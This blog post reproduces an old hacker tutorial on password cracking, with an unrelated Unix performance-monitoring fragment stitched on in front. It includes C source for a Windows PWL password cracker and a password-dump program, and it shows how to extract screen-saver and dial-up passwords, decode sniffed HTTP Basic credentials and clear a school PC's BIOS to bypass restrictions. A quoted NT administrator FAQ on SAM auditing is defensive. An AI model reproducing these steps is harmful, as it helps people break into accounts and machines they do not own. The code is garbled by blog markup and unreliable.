There is several commands and services that can be used for
monitoring performance. And at least two good free programs can
be found on Internet.

.F.2.2. COMMANDS AND SERVICES
-----------------------------

For more information read the man text.

netstat Show network status.
nfsstat Show NFS statistics.
sar   System activity reporter.
vmstat Report virtual memory statistics.
timex Time a command, report process data and system
activity.
time Time a simple command.
truss Trace system calls and signals.
uptime Show how long the system has been up.

Note that if a public netstat server can be found you might be able
to use netstat from the outside. netstat can also give information
like tcp sequence numbers and much more.

.F.2.3. PROGRAMS
----------------

Proctool: Proctool is a freely available tool for Solaris that monitors
and controls processes.
ftp://opcom.sun.ca/pub/binaries/

Top: Top might be a more simple program than Proctool, but is
good enough.

.F.2.4. ACCOUNTING
------------------

To monitor performance you have to collect information over a long
period of time. All Unix systems have some sort of accounting logs
to identify how much CPU time, memory each program uses. You should
check your manual to see how to set this up.

You could also invent your own account system by using crontab and
a script with the commands you want to run. Let crontab run the script
every day and compare the information once a week. You could for
example let the script run the following commands:

- netstat
- iostat -D
- vmstat

Thursday, September 27, 2012

Password Cracking

All of you would probably must have come across the term 'password'. Ever wondered why

exactly passwords work and how to crack them? Well, this manual will answer all your queries

about passwords and make you an expert in cracking passwords.

Passwords: An Introduction

First of all, what exactly is a password.A password is best described as a verification or an

authentication tool or object. Passwords are used to ensure legal and proper access to only those

people who have the authority or the permission to view the data.A password is required in many

places,you are required a password, to access your Inbox, you are required a password to dial up

to your Internet Service Provider and in some organisations you also need to enter a password to

start the system.At all places the Username and Password pair is used to authenticate the user.

Usernames are used to identify the user and the password is used to authenticate the user and

for every unique username there is a unique password.Take the example of the Lock and Key, for

every lock you need a unique key to open it and enter.Here the Lock acts as the Username and

the password would be the key.So passwords are as important as the key of your house.

Your house remains safe as long as only you who is the rightful owner has the key and no one

else finds it.Similiarly, the concept behind passwords is that it is only the rightful owner who

knows the password and no one else knows it.Everyday we hear about password stealing,

computer break ins etc.Sometimes the user chooses very lame passwords which are easily

guessed by hackers.There are certain guidelines which I would like to tell you which you must

keep in mind while choosing a password:

1. Never keep your password same as your Username

2. Never choose your own name, Date of Birth, spouse's name, pet's name, child's name etc as

your password, those are the first ones which are tried by a hacker.

3. Some people are so lazy that they keep their password to be 'Enter' (Carriage return)

4. Try to choose a word which is not in the dictionary and contains both numbers and alphabets,

and if possible use both Lower Case and Upper Case alphabets and also symbols like

(#,$,%,^ etc) as they can be cracked only be brute force password crackers which take too

long a time to crack.

You may say that choosing of weak passwords is responsible for the large number of hacks, but

people themselves are the weakest chain in the whole authentication process.Most people

usually use lame passwords like those I mentioned above, and those who use excellent

passwords are not able to remember them and then write the password down on a piece of paper

and stick it on their monitor.One should try his level best to remember weird passwords if he

wants to keep his system secure.The best places where you can find the passwords, would be

beneath the keyboard, behind the CPU or even on the sides of the monitor.

Some people have trouble remembering the large number of passwords that they are asked for,

while using various services, as a result they use the same password everywhere.Thus knowing

even a single password might help in some cases.

Password Cracking

The most common method of password cracking is password guessing, although it requires a lot

of luck, it can be successful sometimes.To start to guess the password, you first need to gather

all kinds of info about the victim.(See the Guidelines of keeping a password for more details.)

The most common and the most successful method of password cracking is th use of password

crackers.Now what exactly are password crackers? Now to understand what a password cracker

is and how it works, you first need to understand how a person is authenticated.

When you are creating a new account or registering or running the setup(basically whenever you

create a new account by entering the Username and Password.) you might be asked for the

Username and Password.The username is mostly stored in plaintext, but the password that you

enter is stored in an encrypted form.Now when you enter the password, it is passed through a pre

defined algoritm and is thus encrypted and is stored on the hard disk.So next time when you use

the account and enter the password, the text (password) you type is passed through the same

algorithm and is compared with the earlier stored value.If they both match, the user is

authenticated else the authentication fails.

The algorithm that is used to encrypt the password is a one way algorithm, by that I mean that if

we pass the encrypted password through the reverse algorithm, we will not get the original

plaintext password.

Lets take an example to make it more clear: Say your plaintext password is xyz123 and it is

passed through an algorithm and stored in the a file as 0101027AF. Now if you get his encrypted

password and know the algorithm which xyz123 is passed through to get 0101027AF, you cannot

reverse the algorithm to get xyz123 from 0101027AF.

When you are typing in your password, the computer does not display it in plaintext but instead

shows only stars i.e. ******** so that if someone is shoulder surfing, he cannot find out the

password.The text box has been programmed in such a way.On most forms Unix you will not

even see the asterix marks and the cursor will not move, so that neither does a person shoulder

surfing, find out the password nor does he find out the length of the password.

Password Crackers are of two types-: Brute Force and Dictionary Based.

Dictionary Based password Crackers try out all passwords from a given pre defined dictionary list

to crack a password.These are faster but more often than not are unsuccessful and do not return

the password.As they do not try out all combinations of possible keys, they are unable to crack

those passwords which have symbols or numbers in between.

Brute Force Password Crackers try out all combinations of all keys which can be found in the

keyboard (i.e. Symbols, Numbers, Alphabets) both Lower Case and Upper Case.These kinds of

Password Crackers have a greater success rate but take a long time to crack the password.As

they take all possible keys into consideration, they are more effective.

Now that you know the two main types of password crackers lets see how they work.

As passwords are encrypted by a one way algorithm, password crackers do not extract the

password from the file but instead take the combination of letters, encrypt them by passing the

characters through the original algorithm and compare this value with the stored encrypted

value.If these two match, then the password cracker displays the password in plaintext.

Cracking The Windows Login Password

The Windows ( 9x) password is passed through a very weak algorithm and is quite easy to crack.

Windows stores this login password in *.pwl files in the c:\windows directory.The .pwl files have

the filename which is the username coresponding to the password stored by it.A typical .pwl file

would be as follows:

Note: This .pwl file has been taken from a Win98 machine running IE 5.0

###############CUT HERE##############

ã‚…–

ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ

ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ

ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿR

p u.ÐX+|rÐq”±/2³ Êå¡hCJ‚D × `ÍY¥!íx}(qW¤ãÆ±<!?àÜ6šá˜ôæ

4+\¾õ+%E°ËÔýmÇÔ ÞI»‚ B à×œøÐ…'@

############CUT HERE#############

Lets go through the contents of this .pwl file.I am not sure what the first line signifies, but my

guess would be that it is the Name to which the computer is registered to.The next four lines have

just been entered by Windows and are not readable.The last two lines is the password but in the

encrypted form.There is no way to get the plaintext password by just studying the Windows

algorithm and these lines.To actually crack the password you need a simple but kewl cracker

coded in C called Glide.I have included the code below.If you have a sound C knowledge you can

study the code and actually experience how a password cracker works and how a password is

encrypted in Windows i.e. more about the Windows encryption algorithm.

*********************

Newbie Tip: All exploits, crackers, mail bombers practically everything related with Hacking has

been written in either Perl or C. If you really want to be considered an elitte hacker, you have to

know how to program, without a sound knowledge of either C (C++) or Perl you cannot hack

successfully.Almost all exploits available on the net have an important part edited or missing,

without which it has no use.Some exploits may be needed to be edited in order to be run in your

platform.In order to do all this programming is needed.

********************

#include

#include

#include

#include

#include

#include

unsigned char huge Data[100001];

unsigned char keystream[1001];

int Rpoint[300];

void main (int argc,char *argv[]) {

FILE *fd;

int i,j,k;

int size;

char ch;

char *name;

int cracked;

int sizemask;

int maxr;

int rsz;

int pos;

int Rall[300]; /* recource allocation table */

if (argc<2 data-blogger-escaped-p="p">
printf("usage: glide filename (username)");

exit(1);

}

/* read PWL file */

fd=fopen(argv[1],"rb");

if(fd==NULL) {

printf("can't open file %s",argv[1]);

exit(1);

}

size=0;

while(!feof(fd)) {

Data[size++]=fgetc(fd);

}

size--;

fclose(fd);

/* find username */

name=argv[1];

if(argc>2) name=argv[2];

printf("Username: %s\n",name);

/* copy encrypted text into keystream */

cracked=size-0x0208;

if(cracked<0 data-blogger-escaped-cracked="0;</p">
if(cracked>1000) cracked=1000;

memcpy(keystream,Data+0x208,cracked );

/* generate 20 bytes of keystream */

for(i=0;i<20 data-blogger-escaped-i="i" data-blogger-escaped-p="p">
ch=toupper(name[i]);

if(ch==0) break;

if(ch=='.') break;

keystream[i]^=ch;

};

cracked=20;

/* find allocated recources */

sizemask=keystream[0]+(keystream[1]<<8 data-blogger-escaped-p="p">
printf("Sizemask: %04X\n",sizemask);

for(i=0;i<256 data-blogger-escaped-i="i" data-blogger-escaped-p="p" data-blogger-escaped-rall="rall">

maxr=0;

for(i=0x108;i<0x208 data-blogger-escaped-i="i" data-blogger-escaped-p="p">
if(Data[i]!=0xff) {

Rall[Data[i]]++;

if (Data[i]>maxr) maxr=Data[i];

}

}

maxr=(((maxr/16)+1)*16); /* recource pointer table size appears to be divisable by

16 */

/* search after recources */

Rpoint[0]=0x0208+2*maxr+20+2; /* first recource */

for(i=0;i
/* find size of current recource */

pos=Rpoint[i];

rsz=Data[pos]+(Data[pos+1]<<8 data-blogger-escaped-p="p">
rsz^=sizemask;

printf("Analyzing block with size: %04x\t(%d:%d)\n",rsz,i,Rall[i]);

if( (Rall[i]==0) && (rsz!=0) ) {

printf("unused resource has nonzero size !!!\n");

printf("If last line produced any : You may try to recover\n");

printf("press y to attempt recovery\n");

ch=getch();

if(ch!='y') exit(0);

rsz=2;

i-=1;

}

pos+=rsz;

/* Resources have a tendency to have the wrong size for some reason */

/* check for correct size */

if(i
while(Data[pos+3]!=keystream[1]) {

printf(":",Data[pos+3]);

pos+=2; /* very rude may fail */

}

}

pos+=2; /* include pointer in size */

Rpoint[i+1]=pos;

}

Rpoint[maxr]=size;

/* insert Table data into keystream */

for(i=0;i <= maxr;i++) {

keystream[20+2*i]^=Rpoint[i] & 0x00ff;

keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff;

}

cracked+=maxr*2+2;

printf("%d bytes of keystream recovered\n",cracked);

/* decrypt resources */

for(i=0;i < maxr;i++) {

rsz=Rpoint[i+1]-Rpoint[i];

if (rsz>cracked) rsz=cracked;

printf("Recource[%d] (%d)\n",i,rsz);

for(j=0;j
printf("\n");

}

exit(0);

}

Windows Screen Saver Password

This is an interesting hack and not many people know about it.This requires no canned hacking

tool, we will crack the password manually!!! First of all, why do we need to crack the Windows

Screen Saver? How does it restrict us? If a Screen Saver is password protected, then whenever it

is turned on, then in order to turn it off, you need to enter a password.It does not allow us to do

anything on a system until and unless we enter the password. We will keep seeing the screen

saver until we authenticate ourselves by entering the password.No not even CTRL+ALT+DEL

works in this case. Windows stores the Screen Saver password in the user.dat file in the

Windows directory.If you have multiple profiles on your system then it is stored in the user.dat file

in the c:\windows\profiles\username directory.(On Win 3x systems it is stored in the control.ini file

The user.dat file constitues the registry of the Windows system, thus we can say that the

Windows Screen Saver Password is stored in the registry.

First of all, you need to change the attributes of this file and make it editable by right clicking on it

and unselecting the Read Only Option else you will not be able to edit it.

Once this is done, open this file in WordPad (Any text editor will do except MS WORD And

Notepad.)Now look for the string: ScreenSave_Data

You will find an even number of characters after Data, this is the Screen Saver Password

encrypted and stored in the hex system.Each pair or hex values represent a single ASCII

plaintext character.This means that if there are 10 hex values then the password is of 5

characters, each pair of Hex values standing for a single plaintext ASCII character.So in order to

get the Plaintext password you just need to decrypt these hex values into ASCII.

Internet Dial Up Password

Have you ever wondered where Windows stores the Internet Connection Password when you

have enabled the 'Save Password' option in the 'Connect To' dialog box of the dial up connection.

Well this password is stored in the registry in the following registry key:

HKEY_CURRENT_USER\RemoteAccess\Profile\

If you view the above key in the registry Editor then it probably will not appear understandable. If

you want to be able to understand the contents of this key and hence be able to edit this key,then

you will have to export this particular key and view it in Notepad.The password is stored in stored

as binary values and has to be converted into plantext ASCII before you are able to read it.

Windows NT Password

You have already seen how lame Windows 9x password encrypting algorithm is and how easy it

is to overide the Windows Login Password prompt in Win9x systems, well NT is a different

story.First of all lets see how the password is stored in NT….firstly the password is not encrypted,

it is hashed using the RSA hash function and then this hashed version is passed through am

algorithm to obscure it, once onscured,it is stored in the NT registry.Alongwith a stonger

password storing tecnique it all ships with various utilities which make it more secure….Service

Pack 2 ships with a dll which allows the system adminstrators to ensure that the Passwords used

by the users are strong or good enough.The User Manager can be configured to ensure that the

user passwords satisfy a particular condition, For example, it can check if the Users are using a

password of minimum length.

If you really want to learn all about NT security, you should read the NTBugtraq archives and join

their mailing list.The NTBugtraq Archive is the most comprehensive and exaustive collection of

NT Security info.Visit them at www.ntbugtraq.com

The site has everything that you would want to know about NT including the algorithm used to

obscure the hased password.There are various ways of getting administrator previledges in NT, I

am not mentioning all of them but have mentioned my favourite….Sam Attacks.If you want to

learn about all the ways of breaking into NT, then I recommend you to read the BugTraq

Arvhives.I would also be writing a Manual on Hacking NT quite Soon.

__________________________

Sam Attacks

Recently, the algorithm for reversing the obfuscation (obscuring) step of hashing an NT user ID's

password was published. This has resulted in a great deal of discussion over the relative security

of Windows NT systems. This article intends on providing you, the NT Administrator, with

sufficient information and understanding to ensure you are able to DETECT an attempt to exploit

your systems using this algorithm.

Q: What's this all about?

A: When a password is stored on Windows NT, it is stored in hashed [not encrypted] form. The

clear-text password is first hashed using the RSA MD4 hash function, it is then obscured again

using an algorithm (which has now been published). Once obscured, it is stored within the NT

registry. The hashed MD4 version of the password (generally accepted as not reversible to clear-

text) can be used to create a valid challenge response for its user ID. Therefore, should access to

this value be obtained, it would be possible to connect to an NT resource authenticating as that

user ID despite not having the clear-text password for that user. Since the method of removing

the obfuscation step has now been published, and since its possible to view the keys which store

the hashed passwords, its possible that this could be done.

Q: But someone must compromise the Administrator accout first, right?

A: Yes, but...as Les Landau quickly pointed out, the entire Security Access Manager (SAM)

database is backed up whenever the Emergency Repair Disk (ERD) is updated. Since updating

the ERD is good practice, its likely that your SAM has been backed up. By default, the backed up

SAM is stored in the file %systemroot%\repair\sam._ , and this directory, by default, allows the

group EVERYONE read access. It would be possible to retrieve the hashed passwords from this

file rather than from the live registry. The live registry requires Administrator, Administrator Group,

or Backup Operator priviledge in order to access the password keys. The backed up SAM in the

\repair directory does not. It is considered good practice to not give unrestricted access to the root

directory of your %systemroot% drive, as a precaution against having your system files

manipulated. By default these directories are not available over the network by anyone other than

the Administrator, members of the Administrators group, or the Backup Operator, so this only

becomes a risk if you allow other users access either by allowing them to log on at the machine

itself (log on locally) or by you creating a share at the root of your system drive granting others

permission. Neither of these scenarios are recommended in the interest of security. See

Recommendation #1 below for details on how to secure this file.

Q: Ok, so once I've protected the SAM._ file, then the only other way my machine can be

exploited is by fooling the Administrator, right?

A: The Administrator, members of the Administrators Group, the Backup Operator, and anyone

who has been granted the privilege to backup and restore files, all have the ability to access this

information. Furthermore, anyone who can start the Scheduler Service also has the ability to view

these entries (this will be explained in detail below). It should be noted, however, that nobody

other than the Administrator or members of the Administrators group has the ability to submit a

Schedule job. While it is possible for an Administrator to grant this ability to the Server Operators

group, this is strongly discouraged. Finally, despite the amount of discussion that has been held

on the topic, there is still a community of people who do not appreciate the threat of the Trojan

program. Fooling the Administrator is becoming easier as the web interface technology evolves.

Double-clicking may not be necessary to execute an application, and its possible for some

applications to launch themselves if reckless acceptance of Authenticode certificates has taken

place. Administrators may be logging into user's workstations, and if that workstation has not had

security controls in place, it's possible that the owner has put programs in the "All Users" Startup

group, thereby making them execute as the Administrator when he/she logs on to the

workstation.

As Microsoft have already said, it cannot be emphasized enough that the use of the Administrator

user ID should be strictly controlled and minimized in every way possible. So to the Backup

Operator account. Users who have been made members of the Administrators group should

similarily be tightly controlled. The most common reason for these types of permissions is a lack

of effort to properly configure user IDs which can access the necessary resources as something

other than members of the Administrators group. As these accounts have virtually limitless

abilties (since that is their purpose and design), their use must be controlled.

Q: Ok, but what if I want to have users of the Administrators group be able to use those

accounts for their everyday work?

A: Obviously this is a common situation in NT environments today. You should change it. If you

are willing to accept the risks that are associated with having such powerful accounts using

untrusted programs, you can rely on auditing to alert you to attempts to exploit your systems.

Unfortunately, due to your acceptance of the risks, you may not be able to prevent the exploits,

but you will be able to find out that they have taken place. Auditing, by default, is not turned on in

Windows NT. In order to record security events as they occur, you have to enable it. Below you

will find detailed instructions on how to establish security auditing, and in particular, how to audit

access to the sensitive areas containing the passwords. However, just auditing is not enough.

Once enabled, you also have to review the event logs regularily and be able to understand what

those events mean. In addition, it should be understood that audit events are recorded on the

machine at which they occur, they are not distributed throughout a domain. So if you have a

Backup Domain Controller in Toronto, and your Primary Domain Controller is in Lindsay, you will

need to collect the event logs from both locations and review them to determine if your passwords

have been violated. Either of these machines could be attacked and pose an equal risk, but only

the machine which is attacked will record the security audit event. There are a variety of

programs available for NT which can do event monitoring, collection, and alert notification. If you

are seriously interested in such a tool, contact me privately and I'll give you a list of currently

available products. Unfortunately none of them are inexpensive, but their costs pale in

comparison to the cost of trying to do this event work in a large scale environment manually.

RECOMMENDATION #1 - How to secure the %systemroot%\repair\sam._ file

By default, the SAM._ file and \repair directory has the following permissions;

Administrators: Full Control

Everyone: Read

SYSTEM: Full Control

Power Users: Change

1. From within Explorer, highlight the SAM._ file, right click, choose properties, security,

permissions. Remove all privilege from this file.

2. From a DOS prompt, execute the following;

cacls %systemroot%\repair\sam._ /D Everyone

This will deny the group Everyone permission to the file, ensuring that no other

permission (i.e. inheritted permissions from a share) can override the file permission.

3. Whenever you need to update your ERD, first execute the following from a DOS prompt;

cacls %systemroot%\repair\sam._ /T /G Administrators:C

This will grant Administrators change permission to update it during the ERD update.

4. Once the ERD has been updated, execute the following from a DOS prompt;

cacls %systemroot%\repair\sam._ /E /R Administrators

This will once again remove the permissions for Administrator.

RECOMMENDATION #2 - How to enable auditing on password registry keys

1. First you have to make sure auditing is enabled. Start User Manager, Policies, Audit, and

click "Audit These Events".

2. By default, Windows NT does not identify any users or groups to audit on any objects

within the system. Auditing can add performance overhead to your system depending on

the available resources, so care should be taken in determining what and whom to audit.

For a full description of auditing in Windows NT, I recommend the Microsoft Press book

"Windows NT 3.5 - Guidelines for Security, Audit, and Control", ISBN 1-55615-814-9.

Despite its title it is still the most comprehensive coverage of auditing that I have read.

For the sake of this example, we will simply check every Success and Failure checkbox.

3. Close the dialog.

4. Now for a little known trick. While logged on as Administrator, ensure that the Schedule

service is set to start up as the System account. Once set, start the Schedule service.

5. Check the time, and then open a DOS prompt. At the DOS prompt, type in the following;

at 22:48 /interactive "regedt32.exe" where 22:48 gets replaced with the current time plus

1 minute (or 2 or whatever amount of time you think it will take you to type in the

command).

6. At the designated time, regedt32.exe will fire up and appear on your desktop. This

incarnation of regedt32.exe will be running in the security context of the user SYSTEM.

As such, you will be able to see the entire registry, every key within the SAM or Security

trees. BE VERY CAREFUL HERE. It is important to note that when running an applicatin

as SYSTEM, it does so attempting to use null session for credentials. Null session

support has been disabled by default in all versions of Windows NT after 3.1, therefore

any attempt to connect to non-local resources as this security context will fail. An

Administrator could enable null session support through the registry, but such a

configuration is strongly discouraged.

7. All we want to do is enable auditing on the designated keys, nothing else. To this end, we

highlight the HKEY_LOCAL_MACHINE windows within regedt32. Next highlight the SAM

tree. Choose the Security menu item, then Auditing.

8. Click on the Add button and choose Show Users.

9. I'm going to recommend that you add the SYSTEM user, the group Domain Admins, and

the user Administrator. You want to cover any account which has the right to;

"Take ownership of files or other objects"

"Back up files and directories"

"Manage auditing and security log"

"Restore files and directories"

"Add workstations to domain"

"Replace a process level token"

10. Click the Audit Permission on Existing Subkeys

11. Next, click in the Success and Failure checkboxes for the following entries;

- Query Value

- Set Value

- Write DAC

- Read Control

12. Choose OK, and then Yes.

13. Repeat the process for the Security tree.

14. Close REGEDT32, and stop the Schedule service. You will want to set the Schedule

service to use a userID for startup which you create, rather than SYSTEM, in future. Take

this opportunity to create such a user and change the startup for Schedule.

You will now have applied auditing to the entire SAM ensuring you'll be notified via the Event

Logger of any failed or successful access to your sensitive information by the only accounts

which have the ability to access such information. The issue of what to do when/if you discover

event notifications is beyond the scope of this document. Part of a good security policy is an

appropriate audit policy which would dictate how the event logs are reviewed, how the information

is verified, and what actions should be taken for each possible event. Refer to the book I've

recommended above for information on how to establish such a policy, or contact a consultant

capable of defining and implementing such a policy within your organization (not me, my plate's

full thanks).

______________________________________

L0phtCrack is a NT password cracker which can get NT passwords using both dictionary based

and brute force attacks.It can also be run on lower priority so that it can work in the background,

while NT is running.

Cracking Unix Password Files

Unix is considered to be the most secure OS.The method used to store passwords is definitely

more safe and secure in Unix systems.In most Unix systems you will find that the passwords are

stored in file called 'passwd' which is located at /etc/passwd.The password file has many lines of

the following basic structure:

ankit:RqX6dqOZsf4BI:2:3:Ankit Fadia:/home/ankit:/bin/bash

The above line can be broken and arraged as follows:

Username: ankit

Encrypted Password: RqX6dqOZsf4BI

User number: 2

Group Number: 3

Actual Name: Ankit Fadia

Home Directory: /home/ankit

Type of Shell: /bin/bash

As the encryption algorithm is one way you cannot decrypt the password but need to use a

password cracker which will crack the password for you.

The example line of the passwd file that I gave was a line taken from a unshadowed password

file.Now sometimes you may find that instead of the above line you may find something like the

below:

ankit:*:2:3:Ankit Fadia:/home/ankit:/bin/bash

The above line has been taken from a shadowed password file.In a shadowed password file what

happens is that the password field is replaced by a ' * ' (The ' * ' is called a token.)such that the

encrypted password does not show up in the password file and the list of encrypted passwords is

stored in a different file which is not readable by normal users.

***************

Hacking Tip: The ' * ' that replaces the passwords in shadowed password files is called a token

and on some systems it is also ' $ ' or ' # ' or even same as the Username.

***************

So first of all to start cracking the password file you need to unshadow the passwords.You can

unshadow the passwords by running the following C program that I picked up somewhere.

struct SHADOWPW { /* see getpwent(3) */ char *pw_name;

char *pw_passwd;

int pw_uid;

int pw_gid;

int pw_quota;

char *pw_comment;

char *pw_gecos;

char *pw_dir;

char *pw_shell;

};

struct passwd *getpwent(), *getpwuid(), *getpwnam();

#ifdef elxsis?

/* Name of the shadow password file. Contains password and aging info *

#define SHADOWPW "/etc/shadowpw"

#define SHADOWPW_PAG "/etc/shadowpw.pag"

#define SHADOWPW_DIR "/etc/shadowpw.dir"

/*

* Shadow password file pwd->pw_gecos field contains:

*

* ,,,,

*

* = Type of password criteria to enforce (type int).

* BSD_CRIT (0), normal BSD.

* STR_CRIT (1), strong passwords.

* = Password aging period (type long).

* 0, no aging.

* else, number of seconds in aging period.

* = Time (seconds from epoch) of the last password

* change (type long).

* 0, never changed.n

* = Time (seconds from epoch) that the current password

* was made the (type long).

* 0, never changed.ewromsinm

* = Password (encrypted) saved for an aging t

* prevent reuse during that period (type char [20]).

* "*******", no .

*/

/* number of tries to change an aged password */

#define CHANGE_TRIES 3

/* program to execute to change passwords */

#define PASSWD_PROG "/bin/passwd"

/* Name of the password aging exempt user names and max number of entir

#define EXEMPTPW "/etc/exemptpw"

#define MAX_EXEMPT 100

/* Password criteria to enforce */

#define BSD_CRIT 0 /* Normal BSD password criteria */

#define STR_CRIT 1 /* Strong password criteria */

#define MAX_CRIT 1

#endif elxsi

#define NULL 0

main()

{

struct passwd *p;

int i;

for (;1;) {;

p=getpwent();

if (p==NULL) return;

printpw(p);

}

}

printpw(a)

struct SHADOWPW *a;

{

printf("%s:%s:%d:%d:%s:%s:%s\n",

a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,

a->pw_gecos,a->pw_dir,a->pw_shell);

}

Now once the password file has been unshadowed you can use either Jack The Ripper or

Cracker Jack to crack the passwords.Cracker Jack is a DOS based Unix password file cracker

which can perform only dictionary based cracking.Do make sure that the password file that you

are trying to crack is unshadowed as these crackers cannot crack shadowed password files.

You also need an exaustive Dictionary List or a Wordlist.The more comprehensive the wordlist

the more is your chance to be able to crack the password file.You can get both these crackers

from a lot of places:

********************

Hacking Tip: Want to find out where the password file is stred in your version of Unix?

Well to find out your Unix Version type the following command:

uname -a

The following are the paths where Password files are stored in various Unix versions:

UNIX Paths (Courtesy of 2600)

UNIX Path Token

----------------------------------------------------------------------------

AIX 3 /etc/security/passwd !

or /tcb/auth/files/
of username>/

A/UX 3.0s /tcb/files/auth/?/*

BSD4.3-Reno /etc/master.passwd *

ConvexOS 10 /etc/shadpw *

ConvexOS 11 /etc/shadow *

DG/UX /etc/tcb/aa/user/ *

EP/IX /etc/shadow x

HP-UX /.secure/etc/passwd *

IRIX 5 /etc/shadow x

Linux 1.1 /etc/shadow *

OSF/1 /etc/passwd[.dir|.pag] *

SCO Unix #.2.x /tcb/auth/files/
of username>/

SunOS4.1+c2 /etc/security/passwd.adjunct ##username

SunOS 5.0 /etc/shadow

System V Release 4.0 /etc/shadow x

System V Release 4.2 /etc/security/* database

Ultrix 4 /etc/auth[.dir|.pag] *

UNICOS /etc/udb *

***************************

I have explained to you how to crack a Unix password file, but the most difficult part is getting the

Unix Password file.You first need to find a hole in the services running at various ports of the

host. There are many C program that you may find on the net which will promise to get you root

or to get you out of the restricted shell etc. But I assure you that almost all of these ready made C

programs have a tiny little part either missing or edited. A huge Sendmail Exploit that was

publised on the web had the most important line commented and hence the exploit did not work.

I again emphasize the need to learn to program.Programming is very very important not only in

debuging already found exploits but also to discover new holes in popular daemons.To find a hole

say in Sendmail you need to go through the it's code over and over again and look for that tiny bit

that is exploitable.So the bottomline is that one must know how to program to do anything in

Hacking.

HTTP Basic Authentication

The most common methods of authentication used by web sites are either CGI Based or

JavaScript based.Another type of authentication which is slowly becoming popular is the HTTP

Basic authentication.

You must have almost certainly come across password protected websites which pop up a dialog

box with the title $$$$$$$$$ and something like the following text:

UserName and Password Required

Enter Username and Password for server.name.here

Username:

Password:

The HTTP Basic Authentication works same on all servers and is now becoming commonly used

for protecting data from the general public.This kind of Authentication does not provide much of

security and can be easily exploited to return the password.But anyhow I will mention how to

setup a server so that it uses HTTP Basic Authentication.

Note: I am running Apache and the method to do the same on other platforms may vary.

Contact the company for more info on how to setup your server to use HTTP Authentication.

First of all create the password file by typing the htpasswd command:

$>htpasswd -c /etc/httpd/conf/passwords

Once the password file has been created we need to add the users to this password file.For that

use the following command:

$>htpasswd /etc/httpd/conf/passwords ankit.fadia

Then you will be prompted to enter the password for the user twice.Once you have completed

this process,the Username and Password will be stored in the /etc/httpd/conf/passwords file in

the following structure or format:

ankit.fadia:ryWT.SmffRa7pf

The first two fields are obviously the Username and the last two fields is the password encrypted

by the DES algorithm.This file is world readble, by that I mean to say that the file can be read by

anyone.So if possible disable the FTP and Telnet ports of the Server using HTTP Basic

Authentication.Although it will not make much of a difference as this kind of Authentication can

easily be hacked, but it always makes sense to be on the safer side and make work difficult for a

hacker.

Now that the password file is ready we need to configure the /etc/httpd/conf/srm.conf file to tell

the server where the password file is and what kind of banner should it show when the user

needs to be authenticated.

So edit the /etc/httpd/conf/srm.conf file and enter the following lines:

AuthType Basic

AuthName server.name.here

AuthUserFile /etc/httpd/conf/passwords

require valid-user

The directory tag is which folder or directory requires a password.Thus when the user tries to

access the mentioned directory the HTTP Password prompt appears.The AuthType specifies the

type of authentication.The AuthName gives the name to the banner that is popped up by the

browser.the AuthUserFile specifies the path of the password file.The require tag can be

configured such even is a Username is part of the password file, he will not be authenticated

unless and until he is withing the require tag.For Example,

require ankit.fadia ankit

If the above line is there in the srm.conf file then no one other than ankit and ankit fadia will be

authenticated.

Cracking such HTTP Basic Authentication passwords differs from server to server.It also depends

on how the system administrator has configured this service.First of all, to find out if the server is

actually running HTTP Authentication service, you need to type in the wrong password and if you

get the 401 Error, then you can be pretty sure of it.To hack the HTTP passwords, you need to get

the sniffer logs, it would contain what a request would look like if we were able to request the

page.It would be something like the following:

GET /pagehere HTTP/1.1

Authorization: Basic rTyna2yrqw2ADGHsghis==

The text after Basic is the password.No…it is not encrypted, but is just Base64 encoding.You

can easily decode it in Perl using the MIME::Base64 module, the code would be as follows:

use MIME::Base64;

print decode_base64("rTyna2yrqw2ADGHsghis ==");

You can get the MIME::Base64 Module from www.cpan.com .After it has be decoded, you will

see something like the following: "ankit.fadia:passwordhere"

The first two fields would be my username and the last field is my password is plaintext.

BIOS Passwords

This is a password hack but is just clears the BIOS such that the next time you start the PC the

CMOS does not ask for any passwordSay at school the floppy drive has been disabled and you

want to do your project at home and copy it to the floppy drive and use this floppy to transfer it to

the school computer.What do you do.

In most cases the BIOS is configured to disable the Floppy Drive. Now if you are able to bring the

DOS prompt in school the you will be able to change the BIOS setting to the default and enable

the floppy drive which is the default setting. In DOS there is the debug command which allows us

to do.To clear the CMOS do the following:

Got DOS and type:

DEBUG hit enter

-o 70 2e hit enter

-o 71 ff hit enter

-q hit enter

exit hit enter

Restart the computer

It works on most versions of the AWARD BIOS.